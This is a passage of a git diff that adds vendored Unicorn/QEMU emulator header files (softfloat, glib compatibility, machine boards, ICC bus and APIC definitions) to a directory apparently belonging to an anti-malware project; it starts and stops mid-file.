float32 STATUS_PARAM ); +int float32_eq_quiet( float32, float32 STATUS_PARAM ); +int float32_le_quiet( float32, float32 STATUS_PARAM ); +int float32_lt_quiet( float32, float32 STATUS_PARAM ); +int float32_unordered_quiet( float32, float32 STATUS_PARAM ); +int float32_compare( float32, float32 STATUS_PARAM ); +int float32_compare_quiet( float32, float32 STATUS_PARAM ); +float32 float32_min(float32, float32 STATUS_PARAM); +float32 float32_max(float32, float32 STATUS_PARAM); +float32 float32_minnum(float32, float32 STATUS_PARAM); +float32 float32_maxnum(float32, float32 STATUS_PARAM); +float32 float32_minnummag(float32, float32 STATUS_PARAM); +float32 float32_maxnummag(float32, float32 STATUS_PARAM); +int float32_is_quiet_nan( float32 ); +int float32_is_signaling_nan( float32 ); +float32 float32_maybe_silence_nan( float32 ); +float32 float32_scalbn( float32, int STATUS_PARAM ); + +static inline float32 float32_abs(float32 a) +{ + /* Note that abs does *not* handle NaN specially, nor does + * it flush denormal inputs to zero. + */ + return make_float32(float32_val(a) & 0x7fffffff); +} + +static inline float32 float32_chs(float32 a) +{ + /* Note that chs does *not* handle NaN specially, nor does + * it flush denormal inputs to zero. + */ + return make_float32(float32_val(a) ^ 0x80000000); +} + +static inline int float32_is_infinity(float32 a) +{ + return (float32_val(a) & 0x7fffffff) == 0x7f800000; +} + +static inline int float32_is_neg(float32 a) +{ + return float32_val(a) >> 31; +} + +static inline int float32_is_zero(float32 a) +{ + return (float32_val(a) & 0x7fffffff) == 0; +} + +static inline int float32_is_any_nan(float32 a) +{ + return ((float32_val(a) & ~(1U << 31)) > 0x7f800000UL); +} + +static inline int float32_is_zero_or_denormal(float32 a) +{ + return (float32_val(a) & 0x7f800000) == 0; +} + +static inline float32 float32_set_sign(float32 a, int sign) +{ + return make_float32((float32_val(a) & 0x7fffffff) | (sign << 31)); +} + +#define float32_zero make_float32(0) +#define float32_one make_float32(0x3f800000) +#define float32_ln2 make_float32(0x3f317218) +#define float32_pi make_float32(0x40490fdb) +#define float32_half make_float32(0x3f000000) +#define float32_infinity make_float32(0x7f800000) + + +/*---------------------------------------------------------------------------- +| The pattern for a default generated single-precision NaN. +*----------------------------------------------------------------------------*/ +extern const float32 float32_default_nan; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE double-precision conversion routines. +*----------------------------------------------------------------------------*/ +int_fast16_t float64_to_int16(float64 STATUS_PARAM); +uint_fast16_t float64_to_uint16(float64 STATUS_PARAM); +int_fast16_t float64_to_int16_round_to_zero(float64 STATUS_PARAM); +uint_fast16_t float64_to_uint16_round_to_zero(float64 STATUS_PARAM); +int32 float64_to_int32( float64 STATUS_PARAM ); +int32 float64_to_int32_round_to_zero( float64 STATUS_PARAM ); +uint32 float64_to_uint32( float64 STATUS_PARAM ); +uint32 float64_to_uint32_round_to_zero( float64 STATUS_PARAM ); +int64 float64_to_int64( float64 STATUS_PARAM ); +int64 float64_to_int64_round_to_zero( float64 STATUS_PARAM ); +uint64 float64_to_uint64 (float64 a STATUS_PARAM); +uint64 float64_to_uint64_round_to_zero (float64 a STATUS_PARAM); +float32 float64_to_float32( float64 STATUS_PARAM ); +floatx80 float64_to_floatx80( float64 STATUS_PARAM ); +float128 float64_to_float128( float64 STATUS_PARAM ); + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE double-precision operations. +*----------------------------------------------------------------------------*/ +float64 float64_round_to_int( float64 STATUS_PARAM ); +float64 float64_trunc_to_int( float64 STATUS_PARAM ); +float64 float64_add( float64, float64 STATUS_PARAM ); +float64 float64_sub( float64, float64 STATUS_PARAM ); +float64 float64_mul( float64, float64 STATUS_PARAM ); +float64 float64_div( float64, float64 STATUS_PARAM ); +float64 float64_rem( float64, float64 STATUS_PARAM ); +float64 float64_muladd(float64, float64, float64, int STATUS_PARAM); +float64 float64_sqrt( float64 STATUS_PARAM ); +float64 float64_log2( float64 STATUS_PARAM ); +int float64_eq( float64, float64 STATUS_PARAM ); +int float64_le( float64, float64 STATUS_PARAM ); +int float64_lt( float64, float64 STATUS_PARAM ); +int float64_unordered( float64, float64 STATUS_PARAM ); +int float64_eq_quiet( float64, float64 STATUS_PARAM ); +int float64_le_quiet( float64, float64 STATUS_PARAM ); +int float64_lt_quiet( float64, float64 STATUS_PARAM ); +int float64_unordered_quiet( float64, float64 STATUS_PARAM ); +int float64_compare( float64, float64 STATUS_PARAM ); +int float64_compare_quiet( float64, float64 STATUS_PARAM ); +float64 float64_min(float64, float64 STATUS_PARAM); +float64 float64_max(float64, float64 STATUS_PARAM); +float64 float64_minnum(float64, float64 STATUS_PARAM); +float64 float64_maxnum(float64, float64 STATUS_PARAM); +float64 float64_minnummag(float64, float64 STATUS_PARAM); +float64 float64_maxnummag(float64, float64 STATUS_PARAM); +int float64_is_quiet_nan( float64 a ); +int float64_is_signaling_nan( float64 ); +float64 float64_maybe_silence_nan( float64 ); +float64 float64_scalbn( float64, int STATUS_PARAM ); + +static inline float64 float64_abs(float64 a) +{ + /* Note that abs does *not* handle NaN specially, nor does + * it flush denormal inputs to zero. + */ + return make_float64(float64_val(a) & 0x7fffffffffffffffLL); +} + +static inline float64 float64_chs(float64 a) +{ + /* Note that chs does *not* handle NaN specially, nor does + * it flush denormal inputs to zero. + */ + return make_float64(float64_val(a) ^ 0x8000000000000000LL); +} + +static inline int float64_is_infinity(float64 a) +{ + return (float64_val(a) & 0x7fffffffffffffffLL ) == 0x7ff0000000000000LL; +} + +static inline int float64_is_neg(float64 a) +{ + return float64_val(a) >> 63; +} + +static inline int float64_is_zero(float64 a) +{ + return (float64_val(a) & 0x7fffffffffffffffLL) == 0; +} + +static inline int float64_is_any_nan(float64 a) +{ + return ((float64_val(a) & ~(1ULL << 63)) > 0x7ff0000000000000ULL); +} + +static inline int float64_is_zero_or_denormal(float64 a) +{ + return (float64_val(a) & 0x7ff0000000000000LL) == 0; +} + +static inline float64 float64_set_sign(float64 a, int sign) +{ + return make_float64((float64_val(a) & 0x7fffffffffffffffULL) + | ((int64_t)sign << 63)); +} + +#define float64_zero make_float64(0) +#define float64_one make_float64(0x3ff0000000000000LL) +#define float64_ln2 make_float64(0x3fe62e42fefa39efLL) +#define float64_pi make_float64(0x400921fb54442d18LL) +#define float64_half make_float64(0x3fe0000000000000LL) +#define float64_infinity make_float64(0x7ff0000000000000LL) + +/*---------------------------------------------------------------------------- +| The pattern for a default generated double-precision NaN. +*----------------------------------------------------------------------------*/ +extern const float64 float64_default_nan; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE extended double-precision conversion routines. +*----------------------------------------------------------------------------*/ +int32 floatx80_to_int32( floatx80 STATUS_PARAM ); +int32 floatx80_to_int32_round_to_zero( floatx80 STATUS_PARAM ); +int64 floatx80_to_int64( floatx80 STATUS_PARAM ); +int64 floatx80_to_int64_round_to_zero( floatx80 STATUS_PARAM ); +float32 floatx80_to_float32( floatx80 STATUS_PARAM ); +float64 floatx80_to_float64( floatx80 STATUS_PARAM ); +float128 floatx80_to_float128( floatx80 STATUS_PARAM ); + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE extended double-precision operations. +*----------------------------------------------------------------------------*/ +floatx80 floatx80_round_to_int( floatx80 STATUS_PARAM ); +floatx80 floatx80_add( floatx80, floatx80 STATUS_PARAM ); +floatx80 floatx80_sub( floatx80, floatx80 STATUS_PARAM ); +floatx80 floatx80_mul( floatx80, floatx80 STATUS_PARAM ); +floatx80 floatx80_div( floatx80, floatx80 STATUS_PARAM ); +floatx80 floatx80_rem( floatx80, floatx80 STATUS_PARAM ); +floatx80 floatx80_sqrt( floatx80 STATUS_PARAM ); +int floatx80_eq( floatx80, floatx80 STATUS_PARAM ); +int floatx80_le( floatx80, floatx80 STATUS_PARAM ); +int floatx80_lt( floatx80, floatx80 STATUS_PARAM ); +int floatx80_unordered( floatx80, floatx80 STATUS_PARAM ); +int floatx80_eq_quiet( floatx80, floatx80 STATUS_PARAM ); +int floatx80_le_quiet( floatx80, floatx80 STATUS_PARAM ); +int floatx80_lt_quiet( floatx80, floatx80 STATUS_PARAM ); +int floatx80_unordered_quiet( floatx80, floatx80 STATUS_PARAM ); +int floatx80_compare( floatx80, floatx80 STATUS_PARAM ); +int floatx80_compare_quiet( floatx80, floatx80 STATUS_PARAM ); +int floatx80_is_quiet_nan( floatx80 ); +int floatx80_is_signaling_nan( floatx80 ); +floatx80 floatx80_maybe_silence_nan( floatx80 ); +floatx80 floatx80_scalbn( floatx80, int STATUS_PARAM ); + +static inline floatx80 floatx80_abs(floatx80 a) +{ + a.high &= 0x7fff; + return a; +} + +static inline floatx80 floatx80_chs(floatx80 a) +{ + a.high ^= 0x8000; + return a; +} + +static inline int floatx80_is_infinity(floatx80 a) +{ + return (a.high & 0x7fff) == 0x7fff && a.low == 0x8000000000000000LL; +} + +static inline int floatx80_is_neg(floatx80 a) +{ + return a.high >> 15; +} + +static inline int floatx80_is_zero(floatx80 a) +{ + return (a.high & 0x7fff) == 0 && a.low == 0; +} + +static inline int floatx80_is_zero_or_denormal(floatx80 a) +{ + return (a.high & 0x7fff) == 0; +} + +static inline int floatx80_is_any_nan(floatx80 a) +{ + return ((a.high & 0x7fff) == 0x7fff) && (a.low<<1); +} + +/*---------------------------------------------------------------------------- +| Return whether the given value is an invalid floatx80 encoding. +| Invalid floatx80 encodings arise when the integer bit is not set, but +| the exponent is not zero. The only times the integer bit is permitted to +| be zero is in subnormal numbers and the value zero. +| This includes what the Intel software developer's manual calls pseudo-NaNs, +| pseudo-infinities and un-normal numbers. It does not include +| pseudo-denormals, which must still be correctly handled as inputs even +| if they are never generated as outputs. +*----------------------------------------------------------------------------*/ +static inline bool floatx80_invalid_encoding(floatx80 a) +{ + return (a.low & ((uint64_t)1 << 63)) == 0 && (a.high & 0x7FFF) != 0; +} + +#define floatx80_zero make_floatx80(0x0000, 0x0000000000000000LL) +#define floatx80_one make_floatx80(0x3fff, 0x8000000000000000LL) +#define floatx80_ln2 make_floatx80(0x3ffe, 0xb17217f7d1cf79acLL) +#define floatx80_pi make_floatx80(0x4000, 0xc90fdaa22168c235LL) +#define floatx80_half make_floatx80(0x3ffe, 0x8000000000000000LL) +#define floatx80_infinity make_floatx80(0x7fff, 0x8000000000000000LL) + +/*---------------------------------------------------------------------------- +| The pattern for a default generated extended double-precision NaN. +*----------------------------------------------------------------------------*/ +extern const floatx80 floatx80_default_nan; + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE quadruple-precision conversion routines. +*----------------------------------------------------------------------------*/ +int32 float128_to_int32( float128 STATUS_PARAM ); +int32 float128_to_int32_round_to_zero( float128 STATUS_PARAM ); +int64 float128_to_int64( float128 STATUS_PARAM ); +int64 float128_to_int64_round_to_zero( float128 STATUS_PARAM ); +float32 float128_to_float32( float128 STATUS_PARAM ); +float64 float128_to_float64( float128 STATUS_PARAM ); +floatx80 float128_to_floatx80( float128 STATUS_PARAM ); + +/*---------------------------------------------------------------------------- +| Software IEC/IEEE quadruple-precision operations. +*----------------------------------------------------------------------------*/ +float128 float128_round_to_int( float128 STATUS_PARAM ); +float128 float128_add( float128, float128 STATUS_PARAM ); +float128 float128_sub( float128, float128 STATUS_PARAM ); +float128 float128_mul( float128, float128 STATUS_PARAM ); +float128 float128_div( float128, float128 STATUS_PARAM ); +float128 float128_rem( float128, float128 STATUS_PARAM ); +float128 float128_sqrt( float128 STATUS_PARAM ); +int float128_eq( float128, float128 STATUS_PARAM ); +int float128_le( float128, float128 STATUS_PARAM ); +int float128_lt( float128, float128 STATUS_PARAM ); +int float128_unordered( float128, float128 STATUS_PARAM ); +int float128_eq_quiet( float128, float128 STATUS_PARAM ); +int float128_le_quiet( float128, float128 STATUS_PARAM ); +int float128_lt_quiet( float128, float128 STATUS_PARAM ); +int float128_unordered_quiet( float128, float128 STATUS_PARAM ); +int float128_compare( float128, float128 STATUS_PARAM ); +int float128_compare_quiet( float128, float128 STATUS_PARAM ); +int float128_is_quiet_nan( float128 ); +int float128_is_signaling_nan( float128 ); +float128 float128_maybe_silence_nan( float128 ); +float128 float128_scalbn( float128, int STATUS_PARAM ); + +static inline float128 float128_abs(float128 a) +{ + a.high &= 0x7fffffffffffffffLL; + return a; +} + +static inline float128 float128_chs(float128 a) +{ + a.high ^= 0x8000000000000000LL; + return a; +} + +static inline int float128_is_infinity(float128 a) +{ + return (a.high & 0x7fffffffffffffffLL) == 0x7fff000000000000LL && a.low == 0; +} + +static inline int float128_is_neg(float128 a) +{ + return a.high >> 63; +} + +static inline int float128_is_zero(float128 a) +{ + return (a.high & 0x7fffffffffffffffLL) == 0 && a.low == 0; +} + +static inline int float128_is_zero_or_denormal(float128 a) +{ + return (a.high & 0x7fff000000000000LL) == 0; +} + +static inline int float128_is_any_nan(float128 a) +{ + return ((a.high >> 48) & 0x7fff) == 0x7fff && + ((a.low != 0) || ((a.high & 0xffffffffffffLL) != 0)); +} + +#define float128_zero make_float128(0, 0) + +/*---------------------------------------------------------------------------- +| The pattern for a default generated quadruple-precision NaN. +*----------------------------------------------------------------------------*/ +extern const float128 float128_default_nan; + +#endif /* !SOFTFLOAT_H */ diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/glib_compat.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/glib_compat.h new file mode 100644 index 0000000..2d627ed --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/glib_compat.h @@ -0,0 +1,136 @@ +/* +glib_compat.h replacement functionality for glib code used in qemu +Copyright (C) 2016 Chris Eagle cseagle at gmail dot com + +This program is free software; you can redistribute it and/or +modify it under the terms of the GNU General Public License +as published by the Free Software Foundation; either version 2 +of the License, or (at your option) any later version. + +This program is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU General Public License for more details. + +You should have received a copy of the GNU General Public License +along with this program; if not, write to the Free Software +Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA. +*/ + +#ifndef __GLIB_COMPAT_H +#define __GLIB_COMPAT_H + +#include "unicorn/platform.h" +#include <stdarg.h> +#include <stdlib.h> +#include <assert.h> + +#ifndef TRUE +#define TRUE 1 +#endif + +#ifndef FALSE +#define FALSE 0 +#endif + +#define g_assert(expr) assert(expr) +#define g_assert_not_reached() assert(0) + +/* typedefs for glib related types that may still be referenced */ +typedef void* gpointer; +typedef const void *gconstpointer; +typedef int gint; +typedef uint32_t guint32; +typedef uint64_t guint64; +typedef unsigned int guint; +typedef char gchar; +typedef int gboolean; +typedef unsigned long gulong; +typedef unsigned long gsize; + +typedef gint (*GCompareDataFunc)(gconstpointer a, + gconstpointer b, + gpointer user_data); +typedef void (*GFunc)(gpointer data, gpointer user_data); +typedef gint (*GCompareFunc)(gconstpointer v1, gconstpointer v2); +typedef void (*GDestroyNotify)(gpointer data); + +guint g_str_hash(gconstpointer v); +gboolean g_str_equal(gconstpointer v1, gconstpointer v2); +guint g_int_hash(gconstpointer v); + +gboolean g_int_equal(gconstpointer v1, gconstpointer v2); + +typedef struct _GList { + gpointer data; + struct _GList *next; + struct _GList *prev; +} GList; + +GList *g_list_first(GList *list); +void g_list_foreach(GList *list, GFunc func, gpointer user_data); +void g_list_free(GList *list); +GList *g_list_insert_sorted(GList *list, gpointer data, GCompareFunc compare); +#define g_list_next(list) (list->next) +GList *g_list_prepend(GList *list, gpointer data); +GList *g_list_remove_link(GList *list, GList *llink); +GList *g_list_sort(GList *list, GCompareFunc compare); + +typedef struct _GSList { + gpointer data; + struct _GSList *next; +} GSList; + +GSList *g_slist_append(GSList *list, gpointer data); +void g_slist_foreach(GSList *list, GFunc func, gpointer user_data); +void g_slist_free(GSList *list); +GSList *g_slist_prepend(GSList *list, gpointer data); +GSList *g_slist_sort(GSList *list, GCompareFunc compare); + +typedef guint (*GHashFunc)(gconstpointer key); +typedef gboolean (*GEqualFunc)(gconstpointer a, gconstpointer b); +typedef void (*GHFunc)(gpointer key, gpointer value, gpointer user_data); +typedef gboolean (*GHRFunc)(gpointer key, gpointer value, gpointer user_data); + +typedef struct _GHashTable GHashTable; + +void g_hash_table_destroy(GHashTable *hash_table); +gpointer g_hash_table_find(GHashTable *hash_table, GHRFunc predicate, gpointer user_data); +void g_hash_table_foreach(GHashTable *hash_table, GHFunc func, gpointer user_data); +void g_hash_table_insert(GHashTable *hash_table, gpointer key, gpointer value); +gpointer g_hash_table_lookup(GHashTable *hash_table, gconstpointer key); +GHashTable *g_hash_table_new(GHashFunc hash_func, GEqualFunc key_equal_func); +GHashTable *g_hash_table_new_full(GHashFunc hash_func, GEqualFunc key_equal_func, + GDestroyNotify key_destroy_func, GDestroyNotify value_destroy_func); +void g_hash_table_remove_all(GHashTable *hash_table); +gboolean g_hash_table_remove(GHashTable *hash_table, gconstpointer key); +void g_hash_table_unref(GHashTable *hash_table); +GHashTable *g_hash_table_ref(GHashTable *hash_table); +guint g_hash_table_size(GHashTable *hash_table); + +/* replacement for g_malloc dependency */ +void g_free(gpointer ptr); +gpointer g_malloc(size_t size); +gpointer g_malloc0(size_t size); +gpointer g_try_malloc0(size_t size); +gpointer g_realloc(gpointer ptr, size_t size); +char *g_strdup(const char *str); +char *g_strdup_printf(const char *format, ...); +char *g_strdup_vprintf(const char *format, va_list ap); +char *g_strndup(const char *str, size_t n); +void g_strfreev(char **v); +gpointer g_memdup(gconstpointer mem, size_t byte_size); +gpointer g_new_(size_t sz, size_t n_structs); +gpointer g_new0_(size_t sz, size_t n_structs); +gpointer g_renew_(size_t sz, gpointer mem, size_t n_structs); +gchar* g_strconcat (const gchar *string1, ...); +gchar** g_strsplit (const gchar *string, + const gchar *delimiter, + gint max_tokens); + + +#define g_new(struct_type, n_structs) ((struct_type*)g_new_(sizeof(struct_type), n_structs)) +#define g_new0(struct_type, n_structs) ((struct_type*)g_new0_(sizeof(struct_type), n_structs)) +#define g_renew(struct_type, mem, n_structs) ((struct_type*)g_renew_(sizeof(struct_type), mem, n_structs)) + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/boards.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/boards.h new file mode 100644 index 0000000..e0afde0 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/boards.h @@ -0,0 +1,82 @@ +/* Declarations for use by board files for creating devices. */ + +#ifndef HW_BOARDS_H +#define HW_BOARDS_H + +#include "qemu/typedefs.h" +#include "sysemu/accel.h" +#include "hw/qdev.h" +#include "qom/object.h" +#include "uc_priv.h" + +typedef int QEMUMachineInitFunc(struct uc_struct *uc, MachineState *ms); + +typedef void QEMUMachineResetFunc(void); + +struct QEMUMachine { + const char *family; /* NULL iff @name identifies a standalone machtype */ + const char *name; + QEMUMachineInitFunc *init; + QEMUMachineResetFunc *reset; + int max_cpus; + int is_default; + int arch; +}; + +void memory_region_allocate_system_memory(MemoryRegion *mr, Object *owner, + const char *name, + uint64_t ram_size); + +void qemu_register_machine(struct uc_struct *uc, QEMUMachine *m, const char *type_machine, + void (*init)(struct uc_struct *uc, ObjectClass *oc, void *data)); + +#define TYPE_MACHINE_SUFFIX "-machine" +#define TYPE_MACHINE "machine" +#undef MACHINE /* BSD defines it and QEMU does not use it */ +#define MACHINE(uc, obj) \ + OBJECT_CHECK(uc, MachineState, (obj), TYPE_MACHINE) +#define MACHINE_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, MachineClass, (obj), TYPE_MACHINE) +#define MACHINE_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, MachineClass, (klass), TYPE_MACHINE) + +MachineClass *find_default_machine(struct uc_struct *uc, int arch); + +/** + * MachineClass: + * @qemu_machine: #QEMUMachine + */ +struct MachineClass { + /*< private >*/ + ObjectClass parent_class; + /*< public >*/ + + const char *family; /* NULL iff @name identifies a standalone machtype */ + const char *name; + + int (*init)(struct uc_struct *uc, MachineState *state); + void (*reset)(void); + + int max_cpus; + int is_default; + int arch; +}; + +/** + * MachineState: + */ +struct MachineState { + /*< private >*/ + Object parent_obj; + + /*< public >*/ + ram_addr_t ram_size; + ram_addr_t maxram_size; + const char *cpu_model; + struct uc_struct *uc; + AccelState *accelerator; +}; + +void machine_register_types(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/cpu/icc_bus.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/cpu/icc_bus.h new file mode 100644 index 0000000..cbb9c01 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/cpu/icc_bus.h @@ -0,0 +1,79 @@ +/* icc_bus.h + * emulate x86 ICC (Interrupt Controller Communications) bus + * + * Copyright (c) 2013 Red Hat, Inc + * + * Authors: + * Igor Mammedov <imammedo@redhat.com> + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/> + */ +#ifndef ICC_BUS_H +#define ICC_BUS_H + +#include "exec/memory.h" +#include "hw/qdev-core.h" + +#define TYPE_ICC_BUS "icc-bus" + +#ifndef CONFIG_USER_ONLY + +/** + * ICCBus: + * + * ICC bus + */ +typedef struct ICCBus { + /*< private >*/ + BusState parent_obj; + /*< public >*/ + + MemoryRegion *apic_address_space; +} ICCBus; + +#define ICC_BUS(uc, obj) OBJECT_CHECK(uc, ICCBus, (obj), TYPE_ICC_BUS) + +/** + * ICCDevice: + * + * ICC device + */ +typedef struct ICCDevice { + /*< private >*/ + DeviceState qdev; + /*< public >*/ +} ICCDevice; + +/** + * ICCDeviceClass: + * @init: Initialization callback for derived classes. + * + * ICC device class + */ +typedef struct ICCDeviceClass { + /*< private >*/ + DeviceClass parent_class; + /*< public >*/ + + DeviceRealize realize; +} ICCDeviceClass; + +#define TYPE_ICC_DEVICE "icc-device" +#define ICC_DEVICE_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, ICCDeviceClass, (klass), TYPE_ICC_DEVICE) + +void icc_bus_register_types(struct uc_struct *uc); + +#endif /* CONFIG_USER_ONLY */ +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/hw.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/hw.h new file mode 100644 index 0000000..54b25b6 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/hw.h @@ -0,0 +1,41 @@ +/* Declarations for use by hardware emulation. */ +#ifndef QEMU_HW_H +#define QEMU_HW_H + +#include "qemu-common.h" + +#if !defined(CONFIG_USER_ONLY) && !defined(NEED_CPU_H) +#include "exec/cpu-common.h" +#endif + +#include "exec/ioport.h" +#include "qemu/log.h" + +#ifdef NEED_CPU_H +#if TARGET_LONG_BITS == 64 +#define qemu_put_betl qemu_put_be64 +#define qemu_get_betl qemu_get_be64 +#define qemu_put_betls qemu_put_be64s +#define qemu_get_betls qemu_get_be64s +#define qemu_put_sbetl qemu_put_sbe64 +#define qemu_get_sbetl qemu_get_sbe64 +#define qemu_put_sbetls qemu_put_sbe64s +#define qemu_get_sbetls qemu_get_sbe64s +#else +#define qemu_put_betl qemu_put_be32 +#define qemu_get_betl qemu_get_be32 +#define qemu_put_betls qemu_put_be32s +#define qemu_get_betls qemu_get_be32s +#define qemu_put_sbetl qemu_put_sbe32 +#define qemu_get_sbetl qemu_get_sbe32 +#define qemu_put_sbetls qemu_put_sbe32s +#define qemu_get_sbetls qemu_get_sbe32s +#endif +#endif + +typedef void QEMUResetHandler(void *opaque); + +void qemu_register_reset(QEMUResetHandler *func, void *opaque); +void qemu_unregister_reset(QEMUResetHandler *func, void *opaque); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic.h new file mode 100644 index 0000000..42b90b9 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic.h @@ -0,0 +1,29 @@ +#ifndef APIC_H +#define APIC_H + +#include "qemu-common.h" + +/* apic.c */ +int apic_accept_pic_intr(DeviceState *s); +int apic_get_interrupt(DeviceState *s); +void cpu_set_apic_base(struct uc_struct *uc, DeviceState *s, uint64_t val); +uint64_t cpu_get_apic_base(struct uc_struct *uc, DeviceState *s); +void cpu_set_apic_tpr(struct uc_struct *uc, DeviceState *s, uint8_t val); +uint8_t cpu_get_apic_tpr(struct uc_struct *uc, DeviceState *s); +void apic_init_reset(struct uc_struct *uc, DeviceState *s); +void apic_sipi(DeviceState *s); +void apic_handle_tpr_access_report(DeviceState *d, target_ulong ip, + TPRAccess access); +void apic_poll_irq(DeviceState *d); +void apic_designate_bsp(struct uc_struct *uc, DeviceState *d); + +/* pc.c */ +DeviceState *cpu_get_current_apic(struct uc_struct *uc); + +/* cpu.c */ +bool cpu_is_bsp(X86CPU *cpu); + +void apic_register_types(struct uc_struct *uc); +void apic_common_register_types(struct uc_struct *uc); + +#endif diff --git a/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic_internal.h b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic_internal.h new file mode 100644 index 0000000..b833d14 --- /dev/null +++ b/ai_anti_malware/unicorn/unicorn-master/qemu/include/hw/i386/apic_internal.h @@ -0,0 +1,147 @@ +/* + * APIC support - internal interfaces + * + * Copyright (c) 2004-2005 Fabrice Bellard + * Copyright (c) 2011 Jan Kiszka, Siemens AG + * + * This library is free software; you can redistribute it and/or + * modify it under the terms of the GNU Lesser General Public + * License as published by the Free Software Foundation; either + * version 2 of the License, or (at your option) any later version. + * + * This library is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * Lesser General Public License for more details. + * + * You should have received a copy of the GNU Lesser General Public + * License along with this library; if not, see <http://www.gnu.org/licenses/> + */ +#ifndef QEMU_APIC_INTERNAL_H +#define QEMU_APIC_INTERNAL_H + +#include "exec/memory.h" +#include "hw/cpu/icc_bus.h" +#include "qemu/timer.h" + +/* APIC Local Vector Table */ +#define APIC_LVT_TIMER 0 +#define APIC_LVT_THERMAL 1 +#define APIC_LVT_PERFORM 2 +#define APIC_LVT_LINT0 3 +#define APIC_LVT_LINT1 4 +#define APIC_LVT_ERROR 5 +#define APIC_LVT_NB 6 + +/* APIC delivery modes */ +#define APIC_DM_FIXED 0 +#define APIC_DM_LOWPRI 1 +#define APIC_DM_SMI 2 +#define APIC_DM_NMI 4 +#define APIC_DM_INIT 5 +#define APIC_DM_SIPI 6 +#define APIC_DM_EXTINT 7 + +/* APIC destination mode */ +#define APIC_DESTMODE_FLAT 0xf +#define APIC_DESTMODE_CLUSTER 1 + +#define APIC_TRIGGER_EDGE 0 +#define APIC_TRIGGER_LEVEL 1 + +#define APIC_LVT_TIMER_PERIODIC (1<<17) +#define APIC_LVT_MASKED (1<<16) +#define APIC_LVT_LEVEL_TRIGGER (1<<15) +#define APIC_LVT_REMOTE_IRR (1<<14) +#define APIC_INPUT_POLARITY (1<<13) +#define APIC_SEND_PENDING (1<<12) + +#define ESR_ILLEGAL_ADDRESS (1 << 7) + +#define APIC_SV_DIRECTED_IO (1<<12) +#define APIC_SV_ENABLE (1<<8) + +#define VAPIC_ENABLE_BIT 0 +#define VAPIC_ENABLE_MASK (1 << VAPIC_ENABLE_BIT) + +#define MAX_APICS 255 + +typedef struct APICCommonState APICCommonState; + +#define TYPE_APIC_COMMON "apic-common" +#define APIC_COMMON(uc, obj) \ + OBJECT_CHECK(uc, APICCommonState, (obj), TYPE_APIC_COMMON) +#define APIC_COMMON_CLASS(uc, klass) \ + OBJECT_CLASS_CHECK(uc, APICCommonClass, (klass), TYPE_APIC_COMMON) +#define APIC_COMMON_GET_CLASS(uc, obj) \ + OBJECT_GET_CLASS(uc, APICCommonClass, (obj), TYPE_APIC_COMMON) + +typedef struct APICCommonClass +{ + ICCDeviceClass parent_class; + + DeviceRealize realize; + void (*set_base)(APICCommonState *s, uint64_t val); + void (*set_tpr)(APICCommonState *s, uint8_t val); + uint8_t (*get_tpr)(APICCommonState *s); + void (*enable_tpr_reporting)(APICCommonState *s, bool enable); + void (*vapic_base_update)(APICCommonState *s); + void (*external_nmi)(APICCommonState *s); + void (*pre_save)(APICCommonState *s); + void (*post_load)(APICCommonState *s); + void (*reset)(APICCommonState *s); +} APICCommonClass; + +struct APICCommonState { + ICCDevice busdev; + + MemoryRegion io_memory; + X86CPU *cpu; + uint32_t apicbase; + uint8_t id; + uint8_t version; + uint8_t arb_id; + uint8_t tpr; + uint32_t spurious_vec; + uint8_t log_dest; + uint8_t dest_mode; + uint32_t isr[8]; /* in service register */ + uint32_t tmr[8]; /* trigger mode register */ + uint32_t irr[8]; /* interrupt request register */ + uint32_t lvt[APIC_LVT_NB]; + uint32_t esr; /* error register */ + uint32_t icr[2]; + + uint32_t divide_conf; + int count_shift; + uint32_t initial_count; + int64_t initial_count_load_time; + int64_t next_time; + int idx; + QEMUTimer *timer; + int64_t timer_expiry; + int sipi_vector; + int wait_for_sipi; + + uint32_t vapic_control; + DeviceState *vapic; + hwaddr vapic_paddr; /* note: persistence via kvmvapic */ +}; + +QEMU_PACK( typedef struct VAPICState { + uint8_t tpr; + uint8_t isr; + uint8_t zero; + uint8_t irr; + uint8_t enabled; +}) VAPICState; + +extern bool 